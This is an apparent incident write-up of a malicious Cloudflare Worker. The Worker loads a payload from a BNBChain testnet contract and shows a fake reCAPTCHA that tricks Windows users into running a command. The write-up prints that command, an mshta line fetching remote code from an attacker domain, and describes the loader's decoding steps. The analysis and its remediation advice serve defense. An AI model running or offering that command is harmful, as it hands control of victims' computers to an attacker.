The Mystery Worker in Cloudflare

Introduction

Cloudflare Workers are often used by website owners and developers to add serverless functionality, route traffic, and perform on-the-fly transformations. They’re typically created intentionally–either by a developer or through a third-party integration. However, in some rare cases, a Worker may appear in your Cloudflare dashboard without your knowledge.

This write-up details an incident where a suspicious Cloudflare Worker was discovered in an account, analyzes the code within that Worker, and traces the entire chain of events that leads to a malicious command being copied to a Windows user’s clipboard. The final step attempts to trick the user into running that command via mshta.exe, potentially allowing a remote attacker to gain control of the system.

This discussion covers the discovery of the unknown Worker, the code analysis, the methods of obfuscation, the specific targeting of Windows operating systems, and the final malicious payload. The objective is to provide a detailed account of how the entire attack chain works, so that anyone who encounters a similar incident can identify the threat, remove it, and secure their environment.

While it remains unknown precisely how this Worker was added to the Cloudflare account in the first place, we can examine the technical details of the malicious code and piece together the attacker’s intent.

Discovery of the Unknown Cloudflare Worker

The story begins when a user logged into their Cloudflare dashboard and noticed a Worker that they had not created. Cloudflare Workers are listed in the “Workers & Pages” section of the dashboard, where each Worker’s name and associated routes (domains or subdomains) are shown. In this particular case, the Worker was named in a way that did not match any known application or plugin, and it was attached to a set of routes that also seemed suspicious.

Cloudflare typically provides an audit log that shows actions taken within the account, such as Worker creations, modifications, or deletions. One of the first steps in investigating a mysterious Worker is to check the audit log for an entry corresponding to the Worker’s creation. Unfortunately, in many incidents like this, no such log entry is found, or the Worker may have been created via some automated or compromised API token. If the user had not integrated any new services recently, the presence of an unexpected Worker would raise a significant red flag.

The user was unaware of any reason for the Worker’s existence and had not granted access to any external party or plugin that might have created a Worker automatically. Therefore, suspicion arose that this Worker could be malicious–particularly given the cryptic routes and references in the Worker’s code. When the Worker’s script was examined, it revealed a piece of JavaScript that, at first glance, looked unusual and obfuscated.

Initial Code Analysis

Upon opening the Worker’s script, one could see that it began with a user-agent check. Specifically, the code tested for /Windows NT/ in the browser’s user agent string. If the user agent matched Windows, a function named load_() was called. This immediately suggests that the script was only intended to run (or only intended to deliver its main payload) when the visiting system was recognized as a Windows machine. On non-Windows devices–such as macOS, Linux, or mobile–the script effectively did nothing.

Inside the load_() function, the code made a JSON-RPC request to a BNBChain testnet node. The request used the eth_call method to retrieve data from a specific smart contract address (0x886d310Ac23e05EA705e24E513D19f53793832A9), calling a function with the signature 0x6d4ce63c. The response from that call returned a hexadecimal string, which the script then parsed into a Uint8Array. From that array, the script extracted an offset and length, and finally base64-decoded a block of text. This text was then passed to eval().

Using on-chain data as a storage mechanism for malicious payloads is not a new tactic, but it is one that has become more common. Attackers place their encoded code on a blockchain, which is much harder to take down than a conventional web server. By calling eth_call on a contract, they can retrieve the data. In this way, the malicious script is never stored on a single vulnerable web host; instead, it lives “on-chain.” The code within the Worker acts as a loader, fetching and decoding that malicious payload and then executing it in the user’s browser.

The Payload’s Core Functionality

When the decoded payload was analyzed, it revealed a multi-step process. The primary actions included:

• Setting or retrieving a tracking cookie named cjs_id to identify the user by a UUID.
• Building and injecting a hidden HTML container that mimics a reCAPTCHA or verification window.
• Checking if a certain “goal” was reached by calling another on-chain function with the user’s ID. If the goal was “no,” the script displayed the fake verification window to the user.
• Inside that window, the user was instructed to perform a series of steps that are highly unusual for a legitimate reCAPTCHA or any standard verification system. Notably, it told the user to press Windows Key + R, then press Ctrl+V, and finally press Enter.
• Before that prompt appeared, the script had already copied a malicious command to the user’s clipboard.

Thus, if a user followed these instructions on a Windows computer, they would open the Run dialog, paste the command from their clipboard, and run it. This is a classic social-engineering technique that bypasses many normal security controls, because the user is voluntarily launching the command via mshta.exe. The code specifically targeted Windows users because the “Run” dialog method and mshta.exe are unique to Windows.

Fake reCAPTCHA/Verification Prompt

The HTML container injected by the script included references to “Google reCAPTCHA,” references to privacy and terms links, and images of a checkbox labeled “I’m not a robot.” However, it was styled in such a way that it eventually guided the user toward pressing certain key combinations. Real reCAPTCHA does not instruct users to open the Windows Run dialog or paste commands, so any knowledgeable user might immediately recognize this as a scam. However, for an unsuspecting person who simply sees what appears to be a verification prompt, it might look legitimate enough to follow the instructions without question.

This approach leverages the fact that many internet users have grown accustomed to completing CAPTCHAs or verification steps. If a site unexpectedly displays a “Verification Required” message, some people will assume it’s normal. The script’s final instructions to open Windows Key + R and paste something from the clipboard are explained away as “completing verification steps.” The attacker relies on a user’s lack of familiarity with normal Windows security best practices, or an assumption that the prompt is from a trusted service.

Clipboard Manipulation

Behind the scenes, the script uses JavaScript to manipulate the user’s clipboard. Typically, malicious code will create a hidden <textarea> element, insert the command string into it, select the text, and then issue a document.execCommand('copy'). In modern browsers, there might be alternative APIs such as navigator.clipboard.writeText(), but execCommand('copy') remains a common approach.

In this incident, the string copied to the clipboard was something along the lines of:

mshta https://check.fajez.icu/gkcxv.google?i=ce814a3a-7b0b-4765-9486-60bb8b38288f

Note the mshta portion, which is a legitimate Microsoft utility for running HTML Applications (HTA files). By default, if you run mshta with a URL, Windows will fetch the remote HTA or HTML file and execute its script in a privileged context, effectively giving it the ability to run commands on the local system. Attackers love to abuse mshta.exe because it is a trusted system component that can fetch and run code without saving an .exe file to disk.

Final Payload: mshta Execution

Once the user has the malicious command in their clipboard and is instructed to press Windows Key + R, the Windows “Run” dialog opens. Pressing Ctrl+V pastes the command, and pressing Enter executes it. This triggers mshta.exe to download and run the code from https://check.fajez.icu/gkcxv.google?i=.... The ?i=... portion is presumably a unique identifier or token that allows the attacker to track which victim or which session triggered the malicious request.

The HTA code hosted at that URL can do anything from downloading additional payloads (like a trojan or ransomware) to exfiltrating data from the user’s system. Because mshta.exe is allowed to run scripts in a privileged context, the attacker effectively gains a foothold on the user’s machine if the user completes all these steps. This technique bypasses many security filters that might otherwise flag an .exe download, since mshta.exe is a normal part of Windows and is often not blocked by default security policies.

Possible Vectors for Worker Installation

One of the unresolved questions is how this Cloudflare Worker was created in the user’s account in the first place. The user reports that they did not add the Worker themselves. Several possibilities exist:

• Compromised API Token or Global Key: If an attacker gained access to the user’s Cloudflare credentials or an API token with sufficient privileges, they could create or edit Workers in that account.
• Third-Party Integration or Plugin: Some external service, CMS plugin, or site builder might have installed a Worker automatically for performance or security reasons, but in this case, the Worker turned out to be malicious. This scenario is less common, but not impossible if a plugin repository was compromised.
• Phishing or Social Engineering: The account owner might have inadvertently granted access to a malicious actor via a phishing email or malicious link, allowing them to create the Worker in the background.
• Cloudflare Glitch or Unauthorized Access: While extremely rare, if Cloudflare had an internal security issue, it’s conceivable that some accounts could be used to host malicious Workers. There is no evidence that this was the case here.

Without an audit log entry or a known integration that created the Worker, the exact origin remains a mystery. Nevertheless, the presence of a Worker that was obviously malicious suggests that the account was compromised or that an unauthorized integration was enabled.

Technical Breakdown of the Worker’s Code

The Worker script can be broken into these primary parts:

• OS Detection: A check for “Windows NT” in navigator.userAgent. Non-Windows users do not see the malicious payload.
• Blockchain Data Fetch: A fetch() call to https://data-seed-prebsc-1-s1.bnbchain.org:8545/ with a JSON-RPC payload. This calls the eth_call method on a specific contract.
• Data Extraction & Decoding: The Worker parses the returned hex string, extracts offset and length, and then base64-decodes the extracted slice. The result is the next-stage code, which is run via eval().
• Final Payload Execution: The eval()ed code manipulates the DOM, injects a fake verification window, sets up the clipboard, and instructs Windows users to run mshta.

All of these steps illustrate a layered obfuscation strategy: first hide the code on the blockchain, then decode it in the Worker, then hide the final malicious command behind a user action (clipboard + Windows+R). By the time a security researcher sees the final code, they must piece together multiple layers of obfuscation.

Why Attackers Use This Approach

Cloudflare Workers run at the edge, meaning that traffic to the site or domain configured with the Worker can be intercepted or modified by the Worker’s code. This is powerful for normal use cases–like rewriting headers or caching static content. But in the wrong hands, it becomes a tool for distributing malware or phishing content. By hosting malicious code in a Worker, the attacker can keep the main site’s codebase clean, thereby evading some detection methods.

Furthermore, using a BNBChain testnet contract as a data host adds another layer of resilience. Shutting down or removing malicious content on a decentralized network is much harder than taking down a single server. Attackers can store the actual malicious JavaScript on the blockchain, and the Worker simply retrieves it via eth_call. If security researchers manage to take down one node endpoint, the attacker can switch to another public node. This distributed approach is part of why blockchain-based hosting of malicious code has become more popular.

Impact on End Users

If a Windows user visits a site or route associated with this Worker, they might see the fake verification prompt. If they follow the instructions, they end up running a malicious command that could compromise their system. The direct consequences depend on what the attacker’s final HTA script does. Common malicious actions include:

• Installing Remote Access Trojans (RATs) that give the attacker control of the user’s system.
• Deploying ransomware that encrypts the user’s files.
• Stealing credentials, cookies, or other sensitive data from the system.
• Using the compromised machine as part of a botnet.

Because mshta.exe runs with the privileges of the user who invoked it, any files or data accessible to that user account can be read or modified by the attacker’s script. If the user is an administrator on the machine, the attacker may even gain full system control.

How to Investigate and Remove a Suspicious Worker

If you discover a suspicious Worker in your Cloudflare account, consider these steps:

• Check Audit Logs: Look for a “Worker created” entry. Note the time, IP address, or user who performed the action.
• Review Your Access Keys: Rotate your Cloudflare API tokens, global API key, or any other credentials. If someone used a stolen key, removing that key and generating a new one prevents further unauthorized changes.
• Disable or Delete the Worker: If you confirm it is malicious, immediately remove the Worker from your account to stop it from serving malicious code.
• Inspect Connected Apps: Check if any plugins or third-party services have the ability to create Workers in your account. Remove or revoke access if suspicious.
• Notify Users: If your site’s visitors may have been exposed to the Worker’s code, consider issuing a warning to check for signs of infection or unusual activity on their Windows systems.

Preventive Measures and Best Practices

To reduce the likelihood of a malicious Worker appearing again, you can implement the following best practices:

• Enable Multi-Factor Authentication (MFA): Ensure that your Cloudflare account has MFA enabled. This makes it harder for attackers to gain access even if they discover your password.
• Use Scoped API Tokens: Instead of using a global API key with full privileges, create scoped tokens that only grant the minimum necessary permissions. This way, even if a token is compromised, it can’t create or modify Workers without permission.
• Monitor Workers Regularly: Check your Workers & Pages dashboard periodically. If you see an unknown Worker, investigate it immediately.
• Restrict Access: If you have multiple team members on your Cloudflare account, ensure that only trusted administrators can create or manage Workers.
• Audit Third-Party Integrations: Regularly review and remove integrations you no longer use. This can help prevent unwanted code deployments.

Lessons Learned

This incident highlights how attackers can abuse serverless edge platforms and on-chain data storage to deliver malware. By combining Cloudflare Workers, BNBChain testnet contracts, and a Windows-based social-engineering trick, the malicious actor constructed a chain of events that looks like this:

• An unsuspecting user visits a route or domain tied to the malicious Worker.
• The Worker checks if the user is on Windows.
• If Windows, the Worker fetches obfuscated code from a blockchain contract.
• The code decodes a hidden script, which injects a fake verification prompt.
• The user is told to run a command from their clipboard via Windows Key + R.
• The command calls mshta.exe to fetch and execute a malicious HTA from a remote server.
• The user’s system is potentially compromised.

In this entire process, the user might never realize they are interacting with a malicious Worker, especially if they do not inspect the code or question the unusual instructions. The main takeaway is that advanced threat actors are using increasingly sophisticated techniques, including decentralized storage, multi-layer obfuscation, and the abuse of legitimate system tools to bypass defenses.

Conclusion

The presence of an unknown Cloudflare Worker in your account is always a cause for concern, particularly if it is tied to suspicious routes or cryptic code. In this incident, the Worker’s code targeted Windows users by fetching a payload from a BNBChain testnet contract, injecting a fake verification popup, and tricking users into running a malicious mshta.exe command. The final stage involved downloading and executing a remote HTML Application (HTA) file that could compromise the victim’s machine.

Although it remains uncertain how the Worker initially appeared in the Cloudflare account, the incident serves as a stark reminder of the importance of securing your cloud-based assets. Regularly checking your Cloudflare Workers, rotating API keys, using multi-factor authentication, and restricting access are all crucial steps to prevent similar attacks. If you suspect you have been affected, you should remove the Worker immediately, investigate the source of the breach, and warn any users who may have encountered the malicious payload.

As attackers continue to evolve their tactics, it’s important for security-conscious individuals and organizations to stay informed about new threats. The combination of serverless edge code (Cloudflare Workers), blockchain-based payload hosting, and social engineering through Windows run commands exemplifies a modern, multi-faceted attack. By understanding each layer of this malicious chain, you can better defend against it, detect anomalies in your account, and respond swiftly to protect yourself and your users.